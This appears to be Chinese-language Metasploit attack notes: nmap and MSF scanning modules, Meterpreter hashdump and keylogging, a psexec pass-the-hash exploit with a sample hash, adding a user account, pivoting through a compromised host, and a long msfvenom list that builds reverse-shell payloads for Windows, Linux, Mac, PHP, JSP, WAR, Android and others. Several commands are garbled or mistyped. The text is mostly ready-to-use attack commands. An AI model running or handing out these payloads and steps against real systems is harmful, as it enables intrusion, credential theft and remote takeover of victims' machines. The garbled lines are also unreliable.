再命令行输入msfconsole
1.1.1数据库使用
nmap -Pn -sS -A -oX Subnet1 192.168.1.0/24
msf > db_connect postgres :[email protected]/msf5
msf > db_import Subnet1 .xml
msf > hosts
1.1.2 扫描模块
模块 功能
auxiliary/scanner/ip/ipidseq |
寻找满足TCP空闲扫描要求的空闲主机 |
auxiliary/scanner/portscan/syn |
syn端口扫描//查看开放的端口 |
auxiliary/scanner/smb/smb_version |
判断windows版本 |
auxiliary/scanner/mssql/mssql_ping |
UDP协议扫描所有的MS SQL服务器信息 |
auxiliary/scanner/ssh/ssh_version |
扫描ssh版本 |
auxilary/scanner/ftp/ftp_version |
扫描ftp版本 |
auxilary/scanner/ftp/anonymous |
查看ftp服务器是否允许匿名用户登录 |
auxiliary/scanner/snmp/snmp_enum |
扫描snmp |
auxiliary/scanner/snmp/snmp_login |
snmp登陆器(可以通过猜解登陆) |
auxiliary/scanner/vnc/vnc_none_auth |
VNC空口令(VNC已经更新,不容易扫描到肉鸡) |
auxiliary/scanner/x11/open_x11 |
扫描x11服务器 |
使用其中的扫描模块,配置RHOSTS后run,可以对扫描出来的主机再用nmap扫一下。
1.1.3 MSF中运行nmap
db_connect postgres :[email protected]/msf5 #连接数据库
成功连接到数据库后可以输入db_ nmap命令,这个命令能够在MSF终端中运行nmap,并自动将nmap结果存储在数据库中。
1.1.4 内网端口扫描
这台主机使用无法从Internet直接连接的私有IP地址。如果你希望能够使用Metasploit对位于NAT后方的主机进行攻击,那么你可以利用已被攻陷的主机作为跳板,将流量传送到网络内部的主机上。
载荷配置名称不一定要大写,但这是个好习惯
载荷名称 |
意义 |
LHOST |
本地主机 |
RHOSTS |
目标机 |
RPORT |
目标端口 |
TARGET |
目标系统类型(用标记符号/数字) |
THREADS |
扫描线程数(加快扫描速度) |
PASS_FILE |
暴力猜解的字典文件 |
USERNAME |
用户登录的用户名 |
SMBPass |
设置哈希值 |
成功入侵系统并获得系统的Meterpreter会话之后,我们可以利用一些基本的Meterpreter命令,来收集更多的信息。
1.4.1 基本命令
1.4.2 获取键盘记录
1.4.3 挖掘用户名密码
meterpreter > use priv
meterpreter > run post/windows/gather/hashdump
msf> use windows/smb/psexec
msf exploit(psexec)> set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(psexec)> set LHOST 192.168.33.129
msf exploit(psexec)> set LPORT 443
msf exploit(psexec)> set RHOST 192.168.33.130
msf exploit(psexec)> set SMBPass
aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c2
msf exploit(psexec)> exploit
1.4.4 权限提升
获得了目标系统的访问权限,可以通过net user命令创建限制权限的普通用户账号。
net user ddd password123 /add
然后,我们创建一个Meterpreter 的攻击载荷程序payload.exe,复制到目标机上,并在bob用户账户下运行。
1.4.5 跳板攻击
跳板攻击(Pivoting)是Meterpreter提供的种攻击方法,允许从Meterpreter终端攻击网络中的其他系统。比如从一个子网攻击一个目标系统,然后通过这个系统建立路由去攻击其他机器。
(1)meterpreter > run get local subnets 展示受控系统上本地子网
(2)meterpreter > background 攻击会话放到后台运行
(3)msf exploit(handler) > route add 192.168.33.0 255.255.255.0 1 在MSF终端中执行添加路由命令
(4)msf exploit(handler) > route print 显示当前活跃的路由设置
然后我们对目标内的其他Linux系统进行第二次渗透攻击。
1.4.6 使用Meterpreter脚本
通过“run脚本名字”命令,可以在Meterpreter终端中运行扩展脚本。
1.4.7 将命令行Shell升级为Meterpreter
可以在系统被攻陷的时候使用sessions-u id命令将命令行shell升级为Meterpreter。
1.5.1 MSF攻击载荷生成器创建可独立运行的二进制文件
root@bt:/# msfpayload windows/shell reverse_tcp 0
root@bt:/# msfpayload windows/shell reverse tcp LHOST=192.168.1. 101 LPORT=31337X >/var/w/payload1.exe
msf >use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/shell reverse_ tcp
msf exploit(handler) > set LHOST 192.168.1.101
msf exploit(handler) > set LPORT 31337
msfvenom
exe
msfvenom -p windows /meterpreter/reverse_tcp LHOST=LPORT= -f exe > raff.exe
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=LPORT= -f elf > root.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=LPORT= -f exe > shell.exe
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php
cat shell.php | pbcopy && echo ' shell.php && pbpaste >>shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=LPORT= -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
Python
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
Android
msfvenom -p android/meterpreter/reverse_tcp LHOST=监听 ip LPORT=监听端口 R > gome.apk
armitage